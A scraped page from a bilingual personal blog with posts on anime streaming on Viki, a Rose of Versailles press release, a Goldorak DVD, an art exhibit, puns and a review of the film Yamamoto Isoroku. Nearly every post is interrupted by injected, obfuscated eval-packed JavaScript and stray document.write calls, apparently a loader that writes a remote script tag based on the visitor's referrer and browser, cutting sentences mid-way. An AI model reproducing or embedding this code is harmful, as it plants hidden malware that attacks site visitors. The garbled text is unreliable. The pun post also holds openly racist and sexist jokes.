Oniisama E… on Viki

Just a quick note to let you know that I just realized that the superb classic anime Oniisama E… a.k.a. Dear Brother [info: ANN / Wikipedia] is currently streaming on Viki.com! Based on a manga by Riyoko Ikeda serialized in Margaret in 1975, document.write(“”); the 39-episode anime series, directed by Osamu Dezaki, aired on NHK in 1991-92.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsenr|var|u0026u|referrer|dhyed||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzdri|var|u0026u|referrer|franr||js|php’.split(‘|’),0,{}))

I never really had the chance to watch it so here is the best opportunity to do it legally (I just need to find some time!). I highly recommend you to
take a look too.

By the way, Viki has an excellent app in the iTunes store for both iPhones and iPads. Check that too!

So far, Viki’s anime line-up offers mostly stuff from Tezuka (strangely enough, Oniisama E… was animated by Tezuka Productions!) but I am sure more great titles will eventually be added (Lady Oscar / The Rose of Versailles is coming in December anyway).

[ Traduire ]

Press Release: Right Stuf, Inc. Acquires The Rose of Versailles

Nozomi Ent. to release classic anime as limited-edition DVD sets in 2013 and to conduct fan Q&A with creator Riyoko Ikeda; Viki to begin streaming series in December 2012.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzzds|var|u0026u|referrer|tehys||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnfzb|var|u0026u|referrer|bisde||js|php’.split(‘|’),0,{}))

GRIMES, document.write(“”); Iowa, Sept. 12, 2012 – Anime producer and distributor
Right Stuf, Inc. is pleased to announce the acquisition of The Rose of Versailles anime series from TMS Entertainment.

Also known as “Berusaiyu no Bara” and “Lady Oscar,” The Rose of Versailles will be released via Right Stuf’s Nozomi Entertainment as two limited-edition DVD box sets in 2013. The series will also be streamed, beginning in December 2012, and made available exclusively to fans in the United States and Canada on Viki (Viki.com), as part of the site’s growing anime lineup. This will be the first time the entire anime series will be available to English-speaking audiences in North America.

Additionally, Nozomi Entertainment wants fans’ questions for an upcoming Q&A interview with Riyoko Ikeda, the creator of The Rose of Versailles. Please submit questions, via the form located at the official series site (rov.Right Stuf.com), by 4 p.m. CDT on Thurs., Nov. 1, 2012.

Right Stuf‘s President and CEO Shawne Kleckner said, “The Rose of Versailles is one of anime and manga’s truly legendary and iconic stories. It is an honor and privilege to bring this beloved series to DVD, via Nozomi Entertainment, and work with TMS and Viki to introduce our English-subtitled translation of the anime inspired by Ms. Ikeda’s masterwork to North American fans.”

“We’re thrilled to work with Right Stuf to bring The Rose of Versailles to fans in North America and add this famous title to our growing library of classic anime,” said Razmig Hovaghimian, Viki CEO.

The Rose of Versailles has been released several times in multiple formats in many European and Asian countries until now but was never released in North America for the English-speaking audiences. I would like to thank the team at Right Stuf and Viki for making the North American The Rose of Versailles DVD and online release possible. When it comes to amazing shows, you never get tired of watching them, and I believe The Rose of Versailles is one of these shows. It would be a pleasure if the North American fans enjoy The Rose of Versailles as much as I have,” said Katsuki Masai, Deputy Manager of TMS Entertainment, USA, Inc.

Set during the years preceding the French Revolution, The Rose of Versailles is a tale of romance and political intrigue that centers around Oscar François de Jarjayes, a young woman whose father has raised her as a man – and trained her to be an elite and skilled soldier – so she can succeed him as the commander of the palace guards.

The Rose of Versailles is based upon the best-selling manga (comic) by Riyoko Ikeda (Dear Brother, a.k.a. Oniisama E…), which was originally serialized in Shueisha’s shoujo (girls’) anthology magazine Margaret, from 1972 through 1973, and later collected into 10 volumes. In addition to its anime adaptation, it inspired a short story collection (also written by Ikeda), a French-Japanese live-action film, and multiple musicals staged by Japan’s famed Takarazuka Revue.

This 40-episode anime adaptation of The Rose of Versailles originally aired on Japanese television from October 1979 through September 1980. It features animation by TMS Entertainment, as well as direction by Tadao Nagahama (Romance Robot Trilogy) and Osamu Dezaki (Nobody’s Boy – Remi, Dear Brother, Aim for the Ace!).

For more information about the series and to submit questions for the Q&A with Ms. Ikeda, visit rov.Right Stuf.com.

About RIGHT STUF, INC.
Currently celebrating its 25th year in business, Right Stuf, Inc. was one of the first players in the U.S. Japanese Animation (“anime”) industry, as both an anime producer/distributor and a retailer. Right Stuf works to promote knowledge of its own products, as well as the anime and manga industry, in general, through its online storefront at Right Stuf.com and a variety of media including podcasts and special publications. Its video and print publishing division includes the Nozomi Entertainment, Lucky Penny, and 5 Points Pictures studio-labels.

About NOZOMI ENTERTAINMENT
A publishing division of Right Stuf, Inc., Nozomi Entertainment is its signature label, dedicated to high-quality releases for collectors. True to the Japanese word that inspired its name, Nozomi’s focus is on “what fans want.” By focusing on a limited number of anime properties each year, the Nozomi production team ensures each release receives the care and attention to detail it deserves.

From anime classics like Astro Boy, Kimba and Gigantor to modern comedies, dramas and favorites such as The Irresponsible Captain Tylor, His and Her Circumstances, Gravitation, Ninja Nonsense, The Third: The Girl with the Blue Eye, Emma: A Victorian Romance, Maria Watches Over Us, ARIA, Gakuen Alice, Rental Magica, Dirty Pair, Junj? Romantica and Revolutionary Girl Utena, Nozomi Entertainment releases quality programming for fans of all ages and interests.

For more information, visit www.rightstuf.com and www.nozomient.com.

About Viki
Viki is a global TV site with over 12 million monthly viewers who come to watch their favorite TV shows, movies and other premium content, translated into more than 150 languages by a community of avid fans. With over 1 billion videos viewed and nearly 250 million words translated, Viki uniquely brings global prime-time entertainment to new audiences and unlocks new markets and revenue opportunities for content owners. In 2011, Viki announced $20M in Series B funding from strategic investors including BBC Worldwide and SK Planet, a subsidiary of SK Telecom; as well as from existing investors Greylock Partners, Andreessen Horowitz, Charles River Ventures and Neoteny Labs, among others.

About TMS ENTERTAINMENT, LTD.
TMS Entertainment, Ltd. (better known as TMS), one of the world’s largest and most distinguished animation studios, has rapidly won recognition from the international filmmaking community for its highly acclaimed animation, pioneering techniques and proud commitment to quality. With its headquarters situated in Tokyo under the supervision of a dedicated team of top development, production and design executives, TMS’s growing reputation is reflected by the versatility, artistry and originality of the remarkable volume of programs the company has produced for international markets worldwide. Established in the year 1964, TMS has produced more than 100 features and over 100 TV programming series, in total of 8,000 half hours, for global distribution. TMS also proceeds with restoration projects of the titles to keep its highest quality for the next generation. TMS is proud to uphold our tradition of presenting to you unforgettable images from the finest animation produced anywhere in the world. TMS’s programs have attained worldwide recognition, and we continue to strive for excellence and lead the animation world throughout the century.

[ Traduire ]

Goldorak enfin en dvd!

Après la sortie dvd avortée en France et un long litige devant les tribunaux tant français que japonais entre le créateur Gô Nagai et la firme de production Tôei Animation (apparemment Tôei avait vendu les droits en France et produit la version française sans l’accord de Gô Nagai), document.write(“”); le magazine français Animeland nous apprend que “Les 74 épisodes de la série culte Goldorak [info Animeland / ANN] vont enfin ressortir officiellement en français en DVD (…)… au Canada !” La nouvelle a par la suite été confirmée par Le Soleil et un communiqué de presse d’Imavision, qui en sera le distributeur.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snhdt|var|u0026u|referrer|aeifn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|krtys|var|u0026u|referrer|hfeaz||js|php’.split(‘|’),0,{}))

Cette nouvelle est plutôt surprenante, puisque je n’avait pas entendu dire que le litige avait été règlé et qu’on s’attendrait plutôt à voir une sortie dvd d’abord en France et non au Québec. Espérons que cette sortie dvd ne sera pas troublée par les mêmes problèmes qu’avait eut Déclic Images en 2005. Quoiqu’il en soit, Imavision a annoncé la sortie du coffet dvd, en collaboration avec DEP, pour la période des Fêtes 2012. Une distribution sur “diverses plateformes” sera par ailleurs annoncée ultérieurement.

UFO Robo Grendizer / Goldorak © Go Nagai / Dynamic Planning Inc., Toei Animation Co., Ltd. All Rights Reserved.

[ Translate ]

Gloires passagères

Notre collègue aide-bibliothécaire Louis Fortier, document.write(“”); un sculpteur de talent (dont j’avais déjà mentionné l’exposition Métamorphose en mars), exposera à nouveau ses oeuvres en octobre.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|keysr|var|u0026u|referrer|satbz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enrkf|var|u0026u|referrer|rdzkk||js|php’.split(‘|’),0,{}))

Le grand écorché, 2010-2011, cire colorée sur polystyrène expansé (152 x 213 x 304 cm)

L’exposition, intitulée “Gloires passagères”, se tiendra du 4 au 28 octobre 2012 à la Galerie d’art d’Outremont (adjacente à la bibliothèque Robert-Bourassa). Situé au 41 avenue Saint-Just à Outremont, la galerie est ouverte du mardi au vendredi de 13h à 18h, et les samedi et dimanche de 13h à 17h. (Renseignements: 514 495-7419).

Louis Fortier travaille à partir de techniques de moulage qui lui permettent d’effectuer des variations dans la série. Depuis une quinzaine d’années, il revisite son anatomie — et plus particulièrement son visage — à la manière d’un journal. En cherchant des équivalences entre la nature fugitive des émotions et le caractère imprévisible de matériaux tels que la cire et le plâtre, la démarche de cet artiste déjoue la fixité habituelle propre au genre de l’autoportrait. Ainsi, les morceaux d’anatomie qu’il nous livre sont assujettis à des programmes qui génèrent des dérives et des distorsions. Du coup, le résultat de ses explorations artistiques pourraient s’entendre comme des tentatives de traduire les accidents de la vie courante et la fugacité de l’existence.

Mise à jour: article dans l’Express d’Outremont.

[ Translate ]

Translation

The problem with multilingual blogs is that you cannot always post in a way to be understood by every readership at the same time. Sometimes I will post a comment both in French and English, document.write(“”); but most of the time I post in either languages depending on the nature of the subject. For example, if I read a book in French I will most likely comment it in the same language and I will comment in English if I watch a movie in English. And, of course, the blog is not accessible to people speaking any other languages (like my ancient roman fans or my Japanese friends or some accidental Aafrikaner or Hindi readers). I’ve always found this particularly annoying.

I recently stumbled upon a Facebook page that was offering a link to translate the post into another language (in this case either Japanese or English). I found that such option was quite practical and wondered if it was possible to do something similar with Blogger. I couldn’t find a cool and easy way like I saw for Facebook, but I found a couple of ways to reach my goal. (It would be nice though to have Blogger to add a “Translate” option at the bottom of each post).

From now on, you will find in the right side column (between the “links” and the “Search this blog”) a “Translate this blog” section with a “Select Language” pull down menu. It includes over sixty different languages but, since it assumes this blog is in English only, the list doesn’t offer an English option, which would be quite useful for my French posts. Instead, for this particular case, I will try to always add at the end of my French posts a “[ Translate ]” link that will bring you to an English translation (by default, but it can be changed to any language you want).

Unfortunately, the translation option often mess up the layout of the post (mostly paragraph jump — strangely the individual links for the French to English translation fare much better layout-wise) and the resulting translation is generally far from perfect (although sometimes quite funny). But that’s the best it can do for now. However, to avoid formatting problems I might simply add a “[ Translate ]” link even for the posts in English…

I hope this solution will help widden the readership of this blog. In any case, let me know what you think. Do you like this new option or not (or it doesn’t make any difference for you)?

[ Translate ]

Press Review (August)

Not much change this month as I was still too busy and tired to do much. But I always have enough energy to gather scraplinks and share them with you after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bniyr|var|u0026u|referrer|fznba||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tztkd|var|u0026u|referrer|sarfz||js|php’.split(‘|’),0,{}))

Anime & Manga related, document.write(“”); Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Humour

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

White-collar union stuff (SFMM) & Montreal’s libraries

Humour pas éthique en [six] huit catas strophes

AVERTISSEMENT: Peut contenir des traces de mauvais humour! Toutes personnes allergiques à l’humour salace, document.write(“”); grivois, sexiste, anticlérical ou raciste, voir: au calambour obscure, sont fortement conseillé(e) de prendre les précautions nécessaires pour leur sécurité et devraient s’abstenir de lire plus loin! (On vous aura averti!)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzbks|var|u0026u|referrer|eafzy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azbib|var|u0026u|referrer|fftda||js|php’.split(‘|’),0,{}))

Adorateur du démon! Je suis poursuivi par des impies qui m’implorent de joindre leur confrérie étherale et de vénérer jour et nuit avec eux l’idole d’un animal qui incarne la mal en toutes ses formes. Non, jamais je ne consacrerai mon existence à votre face de bouc! (:> 7/10/2011)

Unjustly indickted! I didn’t do dick but, since there’s no justice in the world, it didn’t keep me from being judged and sent to a penile colony. It certainly gave a new meaning to doing hard time. There, everytime one of those dick-head inmates were asking me if I was that Dick who did this or that, I was answering: “Sorry, I don’t know dick about that!” — extract from “The dicky invasion” by Penny Kay Dicky, who also wrote “The peniletimate truth,” “Counter-cock world,” “Confession of a dicky artist” and “U-dick.” (8/6/2011)

Les penseurs grecs sont à l’origine de beaucoup d’éléments de la pensée moderne et scientifique. Par exemple, Leucippe et Démocrite ont développé le concept de l’atomisme. Pythagore et Euclide jetèrent les bases des mathématiques et de la géométrie, Aristote celles de la méthodologie scientifique, et Archimède celles de la physique (on croit qu’il pourrait aussi être le créateur du mécanisme d’Anticythère). Aristarque proposa un modèle astronomique héliocentrique et Ératosthène calcula la circonférence de la terre. Aussi, et j’arrive ici dans le vif de mon sujet, on a attribué à Anaximenes l’idée que le souffle (?????? / pneuma) était la source de la vie, mais des découvertes récentes l’attribue maintenant à un philosophe plus obscure: Emphysème. (Inpiré par mon collègue Ératos10, 9/13/2011)

C’est à se demander pourquoi les gens pensent toujours que les deux capitales du tourisme sexuel en Asie sont Lahore et Bangkok! (10/19/2011)

T’appelles ça comment quand tu te fais engeuler vertement par une femme qui porte un hijab? Des menaces voilées?! (8/24/2012)

Salus cymbalon! L’un des assistants les plus intime du pape a récemment été arrêté sous des accusations de corruptions. Son rôle était de voir à la protection rapprochée et au bien-être du saint-père, en s’assurant qu’il ne croule pas trop sous une charge de travail trop lourde et, même, de voir à son salut en s’agenouillant à son chevet dans la prière. La curie délibère encore sur le choix du prochain sous-pape de sécurité. (8/27/2012)

Et encore plus…

T’appelles ça comment en anglais un chiot en turban? A Sikh puppy?! (9/3/2012)

How do you call, in french, a seal wearing a turban? Un Sikh phoque?! (9/3/2012)

[ Translate ?! ]

Yamamoto Isoroku

“Japan, document.write(“”); summer 1939. Pressure is building for Japan to sign a pact with Germany and Italy, but admiral Yamamoto is reluctant to go to war with the US, whom he considers too powerful.” (2012 Montreal World Film Festival schedule book)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktakb|var|u0026u|referrer|rszkt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdfsf|var|u0026u|referrer|dtssr||js|php’.split(‘|’),0,{}))

The full Japanese title of the movie is ???????? ????? (Rengô kantai shirei chôkan: Yamamoto Isoroku / Isoroku Yamamoto, the Commander-in-Chief of the Combined Fleet).

Yamamoto Isoroku (?? ???) was a great thinker and strategist (he’s often depicted in the movie playing shogi, a chess-like military strategy game). He told his superiors (and I am paraphrasing here) “Don’t make a tripartite alliance with Germany and Italy. If you do, the Americans will cut us from the essential supplies we need.” But eventually, they did make an alliance with Hitler. He also told them “Don’t attack the U.S., because they’re stronger than us. If we do, we’ll lose and Japan will be utterly destroyed.” But eventually, they did attack the Americans and, having no choice, Yamamoto planned the attack himself. However, he warned his superiors to “make sure to declare war before attacking the Americans, because if not it will certainly make things worse.” Of course, the Japanese embassy screwed up and the declaration of war was given one hour after the attack, angering the Americans. There is no mention in the movie of his famous quote: “we have awaken a sleeping giant,” probably because it is now considered apocryphal. Finally, he insisted that, if they had to go to war with the Americans, it would be better to hit them hard and fast in the hope to crush their morale and be able to quickly sue for peace, because he considered that if Japan had to engage in a long war of attrition with them they would definitely lose since the Americans were far superior in force and resources.

Unfortunately, his superiors took no heed of his warnings and the Pacific war quickly became a messy affair as the Japanese kept making wrong decisions after another, leading toward an ugly end. The culprit was an enormous national pride that made people believe they could win despite the odds. Even if Pearl Harbor was a strategic failure (they gambled they could destroy the American Pacific Fleet, but its most important elements, the carriers, were nowhere to be seen), it was portrayed at home as a great victory. The “success” of Midway was a failure as well (Yamamoto’s subordinates did not follow his instruction to “load half the airplanes with torpedoes in order to strike and sink the carriers that our attack will definitely draw”), but the huge lost sustained by the Navy ultimately sealed the fate of Japan. In Guadalcanal, a retreat became a “transfer of troops” in the national newspapers! Fortunately, Yamamoto died in an enemy attack in the Solomon Islands (he wanted to inspect the troops and boost their morale by his presence, but someone had stupidly broadcast his traveling plans), and therefore never witnessed the miserable end of the war.

Yamamoto Isoroku is a “biographical” drama that focuses solely on Yamamoto’s role in the Pacific War and his conviction that war against the Americans was a mistake and that, if it was indeed inevitable, the best chances of success for Japan was to aim at a quick peace after hitting them hard and fast. Not much is said on his personal life: once in a while we glimpse of his family just to remind the viewers that he is human and has a wife and children. The movie is essentially an history lesson but, thanks to an excellent storytelling, it never feels like a lecture. The director achieves this by introducing the viewers to two groups of people — a couple of newspaper reporters and the customers of a small izakaya bar — which he cleverly use to communicate to the viewers the essential historical and chronological information about the progress of the war, its historical context, what’s the public opinion at the time and who thinks what about the current strategy or geo-political situation.

Strangely, it doesn’t feel at all like an anti-war movie and is not even apologetic of Japan’s role in the war. It simply tells the viewers that, if Yamamoto’s vision would have prevailed, the Pacific War might have been avoided or at least delayed and, in case of war, an early peace would have been pursued, avoiding all the horrors that ultimately deprived Japan of its honor. It tells us (and I totally agree with that assessment) that the war was essentially caused by the stupidity of the “hawks,” the warmonger amongst the media and the political bureaucracy. Unfortunately, in order to pass his message, the director is raising Yamamoto to a status of demi-god and the movie is endlessly chanting is coolness and greatness to the point of being annoying.

I am not sure exactly what this movie is telling us about the ideology of today’s Japan. We’ve certainly seen an increase in war movies being produced lately and it seems to coincide with an hardening of the right wing parties seeking more aggressive politics. Many want to re-arm Japan or defend more aggressively Japanese territory against the claim of other countries in order to secure future resources. However, I don’t think that this movie is part of this trend. In contrary, it seems to warn us against repeating the pitfall of history (but this time the sleeping giant would probably be China).

All in all, despite its ideological aspects, it is quite an interesting movie that offers a beautiful photography where, surprisingly, the special effects are minimally obtrusive (I cannot say they are barely noticeable, but at least they are negligibly obvious). A movie well worth watching.

Yamamoto Isoroku (Admiral Yamamoto): Japan, 2011, 140 min.; Dir.: Izuru Narushima; Scr.: Yasuo Hasegawa, Kenzaburo Iida; Phot.: Takahide Shibanushi, Hiroshi Futsuta; Ed.: Hirohide Abe; Mus.: Tarô Iwashiro; Prod.: Shohei Kotaki; Cast: Koji Yakusho, Hiroshi Tamaki, Akira Emoto, Toshiro Yanagiba, Hiroshi Abe, Eisaku Yoshida, Kippei Shiina, Takeo Nakahara, Ikuji Nakamura, Mitsugoro Bando, Mieko Harada, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi, Asaka Seto, Rena Tanaka, Toru Masuoka, Yoshihiko Hakamada, Shunji Igarashi. Screened, in presence of one of the producers, as part of the “World Great” segment (Out of competition) at the Montreal World Film Festival 2012, on August 26th, 18:40 in Cinéma Quartier Latin 9 (a theatre with a 350-seat capacity which was a little less than 3/4 full).
Other comments or reviews:

One last point, not related to the movie itself: The primary duty of a film festival and of a movie theatre is to preserve the integrity of the artistic works it is presenting. I didn’t appreciate at all that the sound was cut off for almost the entire end credits of the movie. A soundtrack is an integral part of a movie. It’s bad enough that the movie started late (because of the Q&A of the previous movie, I think) but it is not the first year that I witness unforgivable technical screw ups at the festival and particularly at the Quartier Latin. Of course, the people of the festival say it’s the mistake of the projectionist who cannot see or ear what’s happening inside the theatre, and the acting theatre manager I spoke to said all complaints should be directed to the festival staff since they are the one in charge during the festival (even of the projectionist). This lack of respect for the movie industry craftsmen who created this film and for the viewers is quite annoying. It is a small detail, I admit, but it should never happen. The frustration I feel when this happens distract me from the enjoyment of the movie.

Update: Here’s a video of the very quick presentation made by one of the producers before the screening of “Yamamoto Isoroku” at the 2012 Montreal World Film Festival.


[ Traduire ]

Autotune & other songs

I am sure you remember this amazing song someone made using Autotune and some clips from Carl Sagan’s tv series “Cosmos” and this other video it led me to.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arefr|var|u0026u|referrer|tirna||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdyfe|var|u0026u|referrer|krdrr||js|php’.split(‘|’),0,{}))

Well, document.write(“”); I discovered more autotune marvels.
A funny Jeanne Moos’ report on CNN brought to my attention a tribute autotune video clip that PBS made for the 100th anniversary of Julia Child. Quite funny. When I as looking for it, another article made me discover more autotune tributes by PBS, one for Mr. Rogers amongst others! Here they are:

On another note (not related to Autotune), someone made a parody / tribute video about NASA and the Curiosity Mars landing that has been quite popular lately:

Fantasia 2012

Malheureusement les circonstances de la vie m’ont empêché encore une fois de bloguer sur les films de Fantasia de cette année. Mais voici quelques liens forts utiles pour compenser cette lacune.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnfyr|var|u0026u|referrer|rykrh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sddbk|var|u0026u|referrer|afkhb||js|php’.split(‘|’),0,{}))

La 16e édition de Fantasia
nous offrait cette année plus de 160 films dont près d’une quarantaine en provenance du Japon. Je veux tout particulièrement attirer votre attention sur deux catégories parmis ces films Japonais.

En premier lieu, document.write(“”); on y retrouve huit films d’animation qui offrent tous, d’une façon ou d’une autre, un grand intérêt:

Aussi, pour marquer le centenaire du plus ancien studio de cinéma Japonais, Fantasia organise — en collaboration avec le Festival du Nouveau Cinéma — une rétrospective de la Nikkatsu en présentant cinq œuvres clés:

Cette 16e édition de Fantasia s’est révélé un retentissant succès, entre autre grâce à un record d’affluence (Le Devoir). Le festival a également récompensé plusieurs des films Japonais:

Finalement, en attendant que je trouve le temps de commenter quelques un de ces films, vous pouvez consulter les sites suivants:

[ Translate ]

Scène attendrissante

Avant hier matin j’ai été le témoin d’une scène des plus attendrissantes. Une chatte avait établie domicile dans la cour de mes voisins avec ses quatre chatons. La mère étant partie chasser, document.write(“”); les chatons, laissé à eux-même, jouaient ensemble. La cour étant envahie par les Gloires du matin, c’était vraiment merveilleux de voir les chatons se poursuivrent dans ce lit de fleurs mauves.
